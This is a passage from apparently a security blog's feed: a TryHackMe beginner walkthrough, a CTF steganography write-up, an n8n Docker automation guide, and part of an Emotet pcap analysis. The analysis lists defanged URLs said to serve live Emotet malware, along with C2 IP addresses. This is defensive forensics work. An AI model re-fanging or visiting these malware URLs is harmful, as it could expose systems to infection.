<p>In this challenge, you’ll scan the file using a simulated VirusTotal tool to decide whether it’s safe or malicious.<br />Checking suspicious files is a crucial skill for every defender.</p>
<p><strong>Objective:</strong><br />Determine if <code>chocolate.exe</code> is safe or infected.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Click the “Scan” Button.</p>
</li>
<li><p>Review the scan report (49 clean results, 1 malicious).</p>
</li>
<li><p>Decide correctly whether the file is safe or dangerous.</p>
</li>
</ol>
<h4 id="heading-solution">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764599551542/dcaecae5-354f-426e-9363-2fc2b79f777d.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764599561274/9562f7fb-5163-4649-ad70-d990f756578f.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-3-welcome-to-the-attackbox">Challenge 3 — Welcome to the AttackBox!</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127385113.png" alt="Task banner" /></p>
<h2 id="heading-welcome-to-the-attackbox">Welcome to the AttackBox!</h2>
<p>You step into TBFC’s <strong>AttackBox</strong>, a secure virtual environment built for training. The system hums quietly, waiting for your first command.</p>
<p>This is where defenders learn, break, and rebuild safely. Getting comfortable with the command line is your first step toward cyber mastery.</p>
<p><strong>Objective:</strong><br />Find and read the hidden welcome message inside your AttackBox.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Use <code>ls</code> to list files.</p>
</li>
<li><p>Use <code>cd challenges/</code> to change directories.</p>
</li>
<li><p>Use <code>cat welcome.txt</code> to read the text file.</p>
</li>
</ol>
<h4 id="heading-solution-1">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764599734515/7e600b0c-ba57-430d-afcd-e89b9d3e6fd6.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-4-the-cmd-conundrum">Challenge 4 — The CMD Conundrum</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127496266.png" alt="Task banner" /></p>
<h2 id="heading-the-cmd-conundrum">The CMD Conundrum</h2>
<p>McSkidy’s workstation shows signs of tampering, suspicious files moved, logs wiped, and a strange folder named <code>mystery_data</code>.</p>
<p>It’s time to use the <strong>Windows Command Prompt</strong> to uncover what’s hidden.<br />Learning these commands helps you investigate systems and find what the GUI can’t.</p>
<p><strong>Objective:</strong><br />Find the hidden flag file using Windows commands.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Use <code>dir</code> to list visible files.</p>
</li>
<li><p>Try <code>dir /a</code> to reveal hidden ones.</p>
</li>
<li><p>Use <code>type hidden_flag.txt</code> to read the flag.</p>
</li>
</ol>
<h4 id="heading-solution-2">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764600055857/faaaeb4a-b69e-4c28-8417-db75e3293ae8.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-5-linux-lore">Challenge 5 — Linux Lore</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127544173.png" alt="Task banner" /></p>
<h2 id="heading-linux-lore">Linux Lore</h2>
<p>TBFC’s delivery drones are glitching, dropping eggs instead of presents! McSkidy’s last login came from a Linux server, and something in his account might explain why.</p>
<p>Linux powers most servers worldwide, and knowing how to search within it is a must for any defender.</p>
<p><strong>Objective:</strong><br />Locate McSkidy’s hidden message in his Linux home directory.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Use <code>cd /home/mcskidy/</code> to enter his folder.</p>
</li>
<li><p>Run <code>ls -la</code> to show all files.</p>
</li>
<li><p>Use <code>cat .secret_message</code> to reveal the flag.</p>
</li>
</ol>
<h4 id="heading-solution-3">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764600176769/90828731-94e2-452c-a1d3-337c750a7bad.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-6-the-leak-in-the-list">Challenge 6 — The Leak in the List</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127586717.png" alt="Task banner" /></p>
<h2 id="heading-the-leak-in-the-list">The Leak in the List</h2>
<p>Rumours swirl that TBFC’s data has been leaked. Emails are bouncing, and the staff are panicking.<br />McSkidy suspects his account might have been part of a breach.</p>
<p>Defenders often use tools like <strong>Have I Been Pwned</strong> to check for compromised accounts. Early detection can stop an attack from spreading.</p>
<p><strong>Objective:</strong><br />Check if McSkidy’s email has appeared in a breach.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Enter <a target="_blank" href="mailto:mcskidy@tbfc.com"><code>mcskidy@tbfc.com</code></a> into the breach checker.</p>
</li>
<li><p>Review results for each domain.</p>
</li>
<li><p>Identify the one marked “Compromised.”</p>
</li>
</ol>
<h4 id="heading-solution-4">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764600272865/2da3391e-dfa2-444c-ae29-3298d29068d4.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-7-wifi-woes-in-wareville">Challenge 7 — WiFi Woes in Wareville</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127645725.png" alt="Task banner" /></p>
<h2 id="heading-wifi-woes-in-wareville">WiFi Woes in Wareville</h2>
<p>The TBFC drones are looping endlessly over Wareville Square. Someone logged into the company router using default credentials!</p>
<p>Securing WiFi is critical. Default passwords are like leaving the front gate wide open.</p>
<p><strong>Objective:</strong><br />Log into the router and secure it with a strong new password.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Log in with username <code>admin</code> and password <code>admin</code>.</p>
</li>
<li><p>Go to “Security Settings.”</p>
</li>
<li><p>Set a new strong password that passes validation.</p>
</li>
</ol>
<h4 id="heading-my-solution-123pssword123">My Solution : <code>123P@ssword123</code></h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764600487704/5c4f23a7-f9dc-4b9f-915a-8800634d1453.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-8-the-app-trap">Challenge 8 — The App Trap</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127690848.png" alt="Task banner" /></p>
<h2 id="heading-the-app-trap">The App Trap</h2>
<p>McSkidy’s social account has gone rogue, posting strange messages about “EASTMAS.” A suspicious third party app may be behind it.</p>
<p>Learning to review and manage app permissions helps stop data leaks before they start.</p>
<p><strong>Objective:</strong><br />Find and remove the malicious connected app.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Review the list of connected apps.</p>
</li>
<li><p>Look for one with unusual permissions (like “password vault” access).</p>
</li>
<li><p>Click “Revoke Access.”</p>
</li>
</ol>
<h4 id="heading-solution-5">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764600654182/db8af2d0-4927-470b-96cc-8f90710b4ede.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-9-the-chat-bot-confession">Challenge 9 — The Chat bot Confession</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127752452.png" alt="Task banner" /></p>
<h2 id="heading-the-chatbot-confession">The Chatbot Confession</h2>
<p>TBFC’s AI assistant, <strong>FestiveBot</strong>, was meant to help write cheerful emails, but it’s been spilling secrets.<br />Some messages reveal internal URLs and even passwords.</p>
<p>AI tools can be powerful, but defenders must know how to prevent them from oversharing.</p>
<p><strong>Objective:</strong><br />Identify which chatbot messages contain sensitive information.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Read each line of the conversation.</p>
</li>
<li><p>Select the ones containing private data.</p>
</li>
<li><p>Submit your findings.</p>
</li>
</ol>
<h4 id="heading-solution-6">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764601001286/e11e1c44-b783-4714-91ed-068102d96ebf.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-10-the-bunnys-browser-trail">Challenge 10 — The Bunny’s Browser Trail</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127781498.png" alt="Task banner" /></p>
<h2 id="heading-the-bunnys-browser-trail">The Bunny’s Browser Trail</h2>
<p>SOCMAS web servers are showing heavy traffic, but one log entry stands out:</p>
<blockquote>
<p>“<em>User Agent: BunnyOS/1.0 (HopSecBot)</em>”</p>
</blockquote>
<p>Someone or something has infiltrated the system.<br />User Agent strings help defenders spot automated or suspicious visitors in network logs.</p>
<p><strong>Objective:</strong><br />Find the unusual User Agent in the HTTP log.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Read the provided web log entries.</p>
</li>
<li><p>Compare them to common browsers (Chrome, Firefox, Edge).</p>
</li>
<li><p>Identify and select the suspicious entry.</p>
</li>
</ol>
<h4 id="heading-solution-7">Solution:</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764601122067/5c11b7f4-c477-4de0-ac44-989bab5e3d2b.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-the-finish-line">The FINISH Line</h2>
<h2 id="heading-consider-yourself-warmed-up">Consider Yourself Warmed Up!</h2>
<p>Well done for making your way through Advent of Cyber 2025's Prep Track! These mini challenges have been designed to familiarise you with some of the key tricks and tools you'll need at your disposal to <strong>help save SOC-mas</strong> in this year's event. If you're looking to start your cyber security journey, there's no better place to do it than with us, as we take you on a tour of topics from <strong>Linux CLI</strong> to <strong>Prompt Injection</strong>, getting you up to speed with the world of cyber and all, while earning chances to win some of our amazing prizes in our annual AoC giveaway!  </p>
<p>Sounds like fun? It is! And you can wait for the fun to begin at this year's <a target="_blank" href="http://tryhackme.com/adventofcyber25"><strong>Advent of Cyber landing page</strong></a><strong>!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Word Sea Adventures Writeup]]></title><description><![CDATA[PatriotCTF 2025 - Writeup]]></description><link>https://prayush.hashnode.dev/word-sea-adventures-writeup</link><guid isPermaLink="true">https://prayush.hashnode.dev/word-sea-adventures-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[forensics]]></category><category><![CDATA[word document]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sun, 23 Nov 2025 18:01:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763956346326/a1ce9f18-893d-439a-bd43-5df25faba5cd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Challenge Description:</p>
<p>Our experts found this weird word document in our file share. They couldn't find anything inside. Maybe you could look more closely and find the hidden prize within!</p>
<p>No passphrases are needed for this challenge.</p>
<p>The flag format will be tctf{flag} or pctf{flag}</p>
<p>Challenge author: DJ Strigel</p>
</blockquote>
<p>When I first downloaded a mysterious file called <code>word_sea_adventures.docx</code>, I honestly expected one of those standard steganography traps. You know — hide an image in <code>/word/media</code>, embed a secret in document.xml, maybe some Base64 somewhere.<br />But nope. This one turned out way cleaner and way more evil.</p>
<p>This is a full write‑up of how I solved the challenge and found the hidden <strong>tctf{} / pctf{}</strong> flag — and what I learned along the way.</p>
<h2 id="heading-step-1-treat-docx-files-as-zip-archives"><strong>Step 1: Treat DOCX Files as ZIP Archives</strong></h2>
<p>One thing every forensics enthusiast should remember:</p>
<blockquote>
<p><strong>DOCX = ZIP archive. Always unzip it first.</strong></p>
</blockquote>
<p>So I started with:</p>
<pre><code class="lang-bash">$ binwalk word_sea_adventures.docx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 387, uncompressed size: 1933, name: [Content_Types].xml
464           0x1D0           Zip archive data, at least v2.0 to extract, compressed size: 231, uncompressed size: 722, name: _rels/.rels
764           0x2FC           Zip archive data, at least v2.0 to extract, compressed size: 973, uncompressed size: 2383, name: word/document.xml
1812          0x714           Zip archive data, at least v2.0 to extract, compressed size: 260, uncompressed size: 1203, name: word/_rels/document.xml.rels
2158          0x86E           Zip archive data, at least v2.0 to extract, compressed size: 109, uncompressed size: 124, name: word/_rels/footnotes.xml.rels
2354          0x932           Zip archive data, at least v2.0 to extract, compressed size: 333, uncompressed size: 1701, name: word/numbering.xml
2763          0xACB           Zip archive data, at least v2.0 to extract, compressed size: 2249, uncompressed size: 21408, name: word/styles.xml
5085          0x13DD          Zip archive data, at least v2.0 to extract, compressed size: 278, uncompressed size: 843, name: word/footnotes.xml
5439          0x153F          Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 625, name: word/comments.xml
5731          0x1663          Zip archive data, at least v2.0 to extract, compressed size: 285, uncompressed size: 583, name: docProps/core.xml
6091          0x17CB          Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 724, name: docProps/app.xml
6521          0x1979          Zip archive data, at least v2.0 to extract, compressed size: 136, uncompressed size: 212, name: docProps/custom.xml
6734          0x1A4E          Zip archive data, at least v2.0 to extract, compressed size: 1561, uncompressed size: 7674, name: word/theme/theme1.xml
8374          0x20B6          Zip archive data, at least v2.0 to extract, compressed size: 583, uncompressed size: 1409, name: word/settings.xml
9032          0x2348          Zip archive data, at least v2.0 to extract, compressed size: 156, uncompressed size: 199, name: word/webSettings.xml
9266          0x2432          Zip archive data, at least v2.0 to extract, compressed size: 411, uncompressed size: 2494, name: word/fontTable.xml
9753          0x2619          Zip archive data, at least v2.0 to extract, compressed size: 104693, uncompressed size: 144327, name: crab.jpg
114512        0x1BF50         Zip archive data, at least v1.0 to extract, name: docProps/
114579        0x1BF93         Zip archive data, at least v1.0 to extract, name: _rels/
114643        0x1BFD3         Zip archive data, at least v2.0 to extract, compressed size: 233483, uncompressed size: 274007, name: sponge.jpg
348194        0x55022         Zip archive data, at least v2.0 to extract, compressed size: 207034, uncompressed size: 376280, name: squid.jpg
555295        0x8791F         Zip archive data, at least v1.0 to extract, name: word/
555358        0x8795E         Zip archive data, at least v1.0 to extract, name: word/_rels/
555427        0x879A3         Zip archive data, at least v1.0 to extract, name: word/theme/
557545        0x881E9         End of Zip archive, footer length: 22
</code></pre>
<p>Lots of file here huh, The ones which caught my eyes were definitely the image files, crab.jpg, sponge.jpg, squid.jpg.</p>
<p>Since the binwalk command i used without the extract flag only displays what was hidden, so i extracted it using another tool called, unzip, since it’s literally just a zip file.</p>
<pre><code class="lang-bash">$ unzip word_sea_adventures.docx -d docx_contents
</code></pre>
<p>This is what the contents of the docx_contents looked like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763918394321/0ccfa11e-25d8-4e2c-8fe2-73b5e45256ad.png" alt class="image--center mx-auto" /></p>
<p>Images huh, i immediately thought it was suspicious, and checked it’s exif data to not find anything, so i just simply used steghide to extract it (after i asked chatgpt what to do next lol)</p>
<p>I choosed the first file just to check and got the biggest hint:</p>
<pre><code class="lang-bash">┌──(itsjustme㉿kali)-[~/Downloads/patriotctf/docx_contents]
└─$ steghide extract -sf crab.jpg          
Enter passphrase: 
wrote extracted data to <span class="hljs-string">"decoy2.txt"</span>.

┌──(itsjustme㉿kali)-[~/Downloads/patriotctf/docx_contents]
└─$ ls
<span class="hljs-string">'[Content_Types].xml'</span>   crab.jpg   decoy2.txt   docProps   _rels   sponge.jpg   squid.jpg   word

┌──(itsjustme㉿kali)-[~/Downloads/patriotctf/docx_contents]
└─$ cat decoy2.txt  
Mr Crabs heard that his cashier may be hiding some money and maybe a flag somewhere.
</code></pre>
<p>Oooooh big reveal, Mr Crabs’ cashier huh, since i haven’t watched spongebob that much, so i googled who the cashier was and it was none other than Squidward! whose image was in the content, so without wasting any time, i extracted it as well and got the flag!</p>
<pre><code class="lang-bash">┌──(itsjustme㉿kali)-[~/Downloads/patriotctf/docx_contents]
└─$ steghide extract -sf squid.jpg
Enter passphrase: 
wrote extracted data to <span class="hljs-string">"flag.txt"</span>.

┌──(itsjustme㉿kali)-[~/Downloads/patriotctf/docx_contents]
└─$ cat flag.txt  
I guess you found handsome squidward... even his looks can<span class="hljs-string">'t hide the flag.
tctf{w0rD_f1le5_ar3_als0_z1p}</span>
</code></pre>
<p>All and all, it was a fun and easy forensics challenge, i enjoyed it!</p>
]]></content:encoded></item><item><title><![CDATA[First time Setting Up n8n Self-Hosted on Docker]]></title><description><![CDATA[Learn how to set up and automate workflows using n8n self-hosted on Docker for seamless social media integration and scheduling]]></description><link>https://prayush.hashnode.dev/first-time-setting-up-n8n-self-hosted-on-docker</link><guid isPermaLink="true">https://prayush.hashnode.dev/first-time-setting-up-n8n-self-hosted-on-docker</guid><category><![CDATA[Docker]]></category><category><![CDATA[n8n]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[automation]]></category><category><![CDATA[news]]></category><category><![CDATA[Cybercrime]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Tue, 11 Nov 2025 11:32:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860146373/222efcdf-abdf-43ef-a33b-aa3dea85e32e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h3 id="heading-what-is-n8n">What is n8n?</h3>
<p>n8n is a powerful workflow automation tool — think of it like an open-source Zapier. It lets you connect APIs, automate tasks, and even build custom integrations — all visually.</p>
<p>n8n is easy to use and probably has become one of my favorite tools of all time.</p>
<h3 id="heading-why-i-decided-to-start-automating-and-for-what">Why i decided to start automating and for what?</h3>
<p>As part of my work at Yeti Cyber Operations — a startup I co-founded with three other amazing individuals — I wanted to reduce our manual workload for posting updates and maintaining visibility on social media. That led me to automate Discord messages and LinkedIn posts using n8n.</p>
<hr />
<h2 id="heading-part-i">Part I</h2>
<h2 id="heading-here-is-how-i-setup-n8n-as-a-docker-instance">Here is how i setup n8n as a docker instance</h2>
<p>I started by spinning up a self-hosted n8n container with a persistent volume so that data and workflows stay intact even after reboots.</p>
<pre><code class="lang-bash">docker run -d \
  --name n8n \
  --restart unless-stopped \
  -p 5678:5678 \
  -e GENERIC_TIMEZONE=<span class="hljs-string">"Asia/Kathmandu"</span> \
  -e TZ=<span class="hljs-string">"Asia/Kathmandu"</span> \
  -e N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=<span class="hljs-literal">true</span> \
  -e N8N_RUNNERS_ENABLED=<span class="hljs-literal">true</span> \
  -v n8n_data:/home/node/.n8n \
  docker.n8n.io/n8nio/n8n
</code></pre>
<p>This creates a persistent volume (<code>n8n_data</code>) so my workflows remain saved even after reboots.</p>
<p>To start it again after reboot, just do:</p>
<pre><code class="lang-bash">docker start n8n
</code></pre>
<p>To stop after you are done with the day or you don’t have a separate server which is running 24/7 like me (i really need a serverrrr), you can:</p>
<pre><code class="lang-bash">docker stop n8n
</code></pre>
<p>By the way, after spinning up the docker instance make sure to check if the container was created and is running or not:</p>
<pre><code class="lang-bash">docker ps
</code></pre>
<hr />
<h2 id="heading-part-ii">Part II</h2>
<h2 id="heading-scheduling-automations-in-n8n">Scheduling Automations in n8n</h2>
<p>n8n comes with a <strong>Cron node</strong> for scheduling workflows.</p>
<p>Here’s what I did:</p>
<ol>
<li><p>Created a new workflow</p>
</li>
<li><p>Added a <strong>Cron</strong> node to trigger the workflow at fixed intervals (for example, every morning at 7:00 AM)</p>
</li>
</ol>
<pre><code class="lang-bash">0 7 * * *
</code></pre>
<p>It looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860190925/b3a5efe8-773f-4450-a9c4-618f27e046a0.png" alt class="image--center mx-auto" /></p>
<ol start="3">
<li>Then i connected the RSS feed, where i used <strong><em>The Hacker News RSS ` https://feeds.feedsburner.com/TheHackerNews`</em></strong> data to fetch the articles.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860245010/f27050a7-7762-461f-8f19-9aa68e88fae2.png" alt class="image--center mx-auto" /></p>
<ol start="4">
<li>Then, I connected an If node , which extracted only the latest news, from current day.</li>
</ol>
<p>Here is the condition script:</p>
<pre><code class="lang-javascript">{{ <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>($json.isoDate).getTime() }} is greater than {{ <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(<span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().getTime() - <span class="hljs-number">24</span>*<span class="hljs-number">60</span>*<span class="hljs-number">60</span>*<span class="hljs-number">1000</span>).getTime() }}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860290955/952c661d-7b61-4896-b1dd-07dcd3aca847.png" alt class="image--center mx-auto" /></p>
<ol start="5">
<li><p>After extracting, it conveniently gets saved in my Google Sheets.</p>
</li>
<li><p>Then I connected a Code node, which lets us write Custom JavaScript or Python code, as for mine, i wrote a script that filters out the duplicates, convenient right?</p>
</li>
</ol>
<pre><code class="lang-javascript"><span class="hljs-comment">// Get all input items</span>
<span class="hljs-keyword">const</span> items = $input.all();

<span class="hljs-comment">// Keep track of GUIDs we've seen</span>
<span class="hljs-keyword">const</span> seenGuids = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>();

<span class="hljs-comment">// Filter items dynamically</span>
<span class="hljs-keyword">const</span> filtered = items.filter(<span class="hljs-function"><span class="hljs-params">item</span> =&gt;</span> {
  <span class="hljs-keyword">if</span> (seenGuids.has(item.json.guid)) {
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>; <span class="hljs-comment">// skip duplicates</span>
  } <span class="hljs-keyword">else</span> {
    seenGuids.add(item.json.guid);
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>; <span class="hljs-comment">// keep new</span>
  }
});

<span class="hljs-comment">// Return in n8n format</span>
<span class="hljs-keyword">return</span> filtered.map(<span class="hljs-function"><span class="hljs-params">item</span> =&gt;</span> ({ <span class="hljs-attr">json</span>: item.json }));
</code></pre>
<ol start="7">
<li>Then finally, i connected my discord account and my news channel of <strong>Yeti CyberOps Discord.</strong> It requires you to create a discord app, a custom bot and add some credentials to finally run it.</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860352427/649c7065-a9e2-487a-8600-4471b083700b.png" alt class="image--center mx-auto" /></p>
<ol start="7">
<li>Same goes for Linkedin, you have to go to Linkedin developer platform , create an app and finally, connect your personal or organization account!</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860394459/4a25d506-c78f-4bc4-968b-6e4fe5726831.png" alt class="image--center mx-auto" /></p>
<p>You can find many tutorials on the web, i am too lazy to find them again and paste their links here, sorry about that :P.</p>
<h2 id="heading-results">Results:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860631109/05a70883-d59e-4f31-b461-53e7f49b0127.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762860648793/f4260d45-6fc6-406a-9373-132acd980769.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-what-i-learned">What i learned</h1>
<ol>
<li><h3 id="heading-always-i-mean-always-make-sure-your-docker-persists-even-after-reboot-i-had-a-heart-failure-when-my-laptop-was-cut-off-of-power-after-its-charge-went-out-fortunately-i-still-had-my-data-even-though-i-had-to-create-a-new-docker-instance">Always, i mean always, make sure your docker persists even after reboot, i had a heart failure when my laptop was cut off of power after it’s charge went out, fortunately, i still had my data even though i had to create a new docker instance.</h3>
</li>
</ol>
<h1 id="heading-what-i-plan-to-do-next">What i plan to do next</h1>
<p>I really hope to connect my SIEM tool like Wazuh to automate the alert system, i am a sucker for SIEM tools after all.</p>
<p>Setting this up on Linux was a fun weekend project, i hoped the weekend had 3 more days but well, i managed to pull it off. See ya in my next article!</p>
<p>Automation is addictive — once you start building with n8n, you’ll find yourself connecting everything. This was just the start of my journey into practical automation and self-hosting.</p>
]]></content:encoded></item><item><title><![CDATA[Emotet pcap analysis]]></title><description><![CDATA[Analyze Emotet malware in a pcap file using Wireshark, uncovering details like IP address, hostname, and infection timeline]]></description><link>https://prayush.hashnode.dev/emotet-pcap-analysis</link><guid isPermaLink="true">https://prayush.hashnode.dev/emotet-pcap-analysis</guid><category><![CDATA[Wireshark]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[forensics]]></category><category><![CDATA[networking]]></category><category><![CDATA[emotet]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Sun, 02 Nov 2025 17:05:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762103096958/31edeffd-ac22-4e74-87cf-c0a6bc36b0d9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-tl-dr">TL ; DR</h3>
<p>Even though i mostly looked at the solved writeups, I solved half of it myself unknowingly lol.</p>
<h3 id="heading-background">Background</h3>
<p>Today, i got curious on how to actually apply the things i learnt in Wireshark, so i searched up some platforms and found a pcap file from <a target="_blank" href="https://isc.sans.edu/diary/December+2021+Forensic+Challenge/28108">ISC Diary - December 2021 Contest: Forensic Challenge</a> and went in blind.</p>
<h3 id="heading-challenges">Challenges</h3>
<p>Provide the following information:</p>
<ul>
<li><p>IP address of the infected Windows computer.</p>
</li>
<li><p>Host name of the infected Windows computer.</p>
</li>
<li><p>User account names from the infected Windows computer.</p>
</li>
<li><p>Date and time the infection activity began in UTC (the GMT or Zulu timezone).</p>
</li>
<li><p>The family of malware that caused this infection.</p>
</li>
</ul>
<h3 id="heading-answers">Answers</h3>
<ul>
<li><p>Infected IP: <code>10.12.3.66</code></p>
</li>
<li><p>Hostname: <code>DESKTOP-LUOABV1</code></p>
</li>
<li><p>User: <code>darin.figueroa</code></p>
</li>
<li><p>Start: <code>2021-12-03 19:42:47 UTC</code></p>
</li>
<li><p>Family: <code>Emotet</code></p>
</li>
</ul>
<h2 id="heading-analysis">Analysis</h2>
<p>After trying things on my own and unintentionally solving half the challenges, here are the steps and wireshark filters i took:</p>
<pre><code class="lang-plaintext">nbns
</code></pre>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-02a.jpg" alt /></p>
<p>I found that there is only one Windows client, which was suspicious.</p>
<p>Then i tried the kerberos filter since it was under the Active Directory(AD).</p>
<pre><code class="lang-plaintext">kerberos.CNameString
</code></pre>
<p>The <code>CNameString</code> outputs the AD username.</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-03a.jpg.jpg" alt /></p>
<p>As you can see, <em>the Windows user account name through Kerberos traffic</em> <code>darin.figueroa</code></p>
<p>Now, this is where i got stuck, i didn’t know where to look after this, so i looked up in the writeup/solution, and found out a simple HTTP filter can sort things out.</p>
<pre><code class="lang-plaintext">(http.request or tls.handshake.type eq 1) and !(ssdp)
</code></pre>
<p>What this basically does is, tells wireshark to "Show me any unencrypted HTTP request packet <strong>OR</strong> any initial HTTPS Client Hello packet, <strong>BUT</strong> make sure none of them are SSDP packets."</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-01a.jpg" alt /></p>
<p>The two HTTP URLs used to retrieve the Emotet DLL were:</p>
<ul>
<li><p><strong><em>hxxp://gamaes[.]shop/wp-content/plugins/sSTToaEwCG5VASw/</em></strong></p>
</li>
<li><p><strong><em>hxxp://newsaarctech[.]com/wp-content/Sx9tvV5/</em></strong></p>
</li>
</ul>
<p>Then i got curious and went over to VirusTotal to check these links, and conveniently, they were actual live malwares.</p>
<p>The following IP addresses over TCP port 443 have been reported as C2 channels for Emotet:</p>
<ul>
<li><p>172.104.227.98 port 443   <em>[</em><a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=172.104.227.98"><em>Link</em></a> <a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=163.172.50.82"><em>to</em></a> <em>IP address in Feodo Tracker]</em></p>
</li>
<li><p>163.172.50.82 port 443   <em>[</em><a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=163.172.50.82"><em>Link</em></a> <em>to IP address in Feodo Trac</em><a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=163.172.50.82"><em>ker]</em></a></p>
</li>
</ul>
<p>With a basic web filter, scroll down a bit to find SSL/TLS <a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=163.172.50.82">traf</a>fic using TCP ports 465 and 587 starting at 20:09 UTC.  This r<a target="_blank" href="https://feodotracker.abuse.ch/browse.php?search=163.172.50.82">epre</a>sents encrypted SMTP traffic, and it reveals our Emotet-infected host also acted as a spambot.  Emotet uses Emotet-infected Windows hosts to help distribute new Emotet malspam.</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-04a.jpg" alt /></p>
<p>Then, once again, i got stuck, oof, and looked it up at the solution and found out that since Emotet just spams mail on hosts, why not check the <code>SMTP</code>??</p>
<p>Yep, Thats what i did (shamefully copying)</p>
<p><img src="https://isc.sans.edu/diaryimages/images/2021-12-22-ISC-diary-image-05a.jpg" alt /></p>
<p>Since we cant really read raw data properly, we will be using</p>
<pre><code class="lang-plaintext">smtp.data.fragment
</code></pre>
